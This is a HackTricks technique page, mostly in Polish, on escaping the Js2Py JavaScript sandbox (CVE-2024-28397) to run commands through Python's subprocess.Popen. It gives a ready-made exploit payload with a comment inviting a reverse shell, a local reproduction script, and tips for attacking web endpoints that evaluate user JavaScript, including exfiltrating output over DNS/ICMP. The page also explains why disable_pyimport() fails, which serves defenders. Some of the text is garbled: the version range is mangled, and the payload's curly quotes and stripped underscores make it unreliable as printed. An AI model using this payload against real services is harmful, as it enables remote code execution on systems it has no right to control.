Js2Py sandbox escape (CVE-2024-28397)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Js2Py translates JavaScript into Python objects, so even when js2py.disable_pyimport() is used, untrusted JS can traverse Python internals to reach dangerous classes such as subprocess.Popen. Versions 20.74 allow abusing Python reflection primitives that Js2Py exposes to JS objects to obtain RCE from otherwise “sandboxed” JavaScript.
Prymityw: pivot z wrapperów obiektów JS do obiektów Python
- Uzyskaj obiekt oparty na Pythonie:
Object.getOwnPropertyNames({})zwraca obiektdict_keysw przestrzeni Pythona. - Odzyskaj dostęp do atrybutów: wyciągnij
.__getattribute__z tego obiektu i wywołaj go, by odczytać dowolne atrybuty (np."__class__"). - Wspiąć się do
object: z<class 'dict_keys'>odczytaj.__base__, by dostać się do bazowegoobjectPythona. - Wypisz załadowane klasy: wywołaj
object.__subclasses__()by przejść przez każdą klasę już załadowaną w interpreterze. - Znajdź
subprocess.Popen: rekurencyjnie przeszukaj subclasses, gdzie__module__ == "subprocess"i__name__ == "Popen". - Wykonaj polecenie: zainicjalizuj Popen z argumentami kontrolowanymi przez atakującego i wywołaj
.communicate(), by przechwycić wyjście.
Przykładowy payload wykorzystujący Js2Py do dotarcia do subprocess.Popen
```javascript // Replace cmd with desired payload (reverse shell / ping / etc.) let cmd = "id"; let hacked, bymarve, n11; let getattr, obj;hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) bymarve = hacked.getattribute; n11 = bymarve(“getattribute”); // attribute access primitive obj = n11(“class”).base; // pivot to <class ‘object’> getattr = obj.getattribute;
function findpopen(o) { let result; for (let i in o.subclasses()) { let item = o.subclasses()[i]; if (item.module == “subprocess” && item.name == “Popen”) { return item; } if (item.name != “type” && (result = findpopen(item))) { return result; } } }
// Popen(cmd, stdin/out/err pipes…) then .communicate() for output n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(n11); n11; // returned to caller if framework sends eval_js result back
</details>
Dlaczego to działa: Js2Py udostępnia wrappery obiektów Pythona dla JS bez usuwania `__getattribute__`, `__class__`, `__base__` ani `__subclasses__`. `disable_pyimport()` blokuje tylko jawne `pyimport`, ale powyższy łańcuch nigdy nie importuje nic nowego; ponownie wykorzystuje już załadowane moduły i klasy w pamięci.
## Odtworzenie łańcucha lokalnie
```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})")) # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__")) # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY
Działanie przeciwko webowym sandboxom
- Każdy endpoint, który przekazuje JS kontrolowany przez atakującego do
js2py.eval_js(np. Flask/run_codeAPI), jest natychmiast RCE, jeśli użytkownik procesu ma dostęp do powłoki. - Zwracanie
jsonify({'result': result})zawiedzie, gdy.communicate()zwraca bytes; użyj decode lub przekieruj wyjście do DNS/ICMP, aby ominąć blokery serializacji. disable_pyimport()nie łagodzi tego łańcucha; wymagana jest twarda izolacja (oddzielny proces/kontener) lub usunięcie wykonywania nieznanego kodu przez Js2Py.
References
- HTB: CodeTwo write-up (Js2Py CVE-2024-28397 escape)
- Marven11 CVE-2024-28397 Js2Py sandbox escape PoC
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


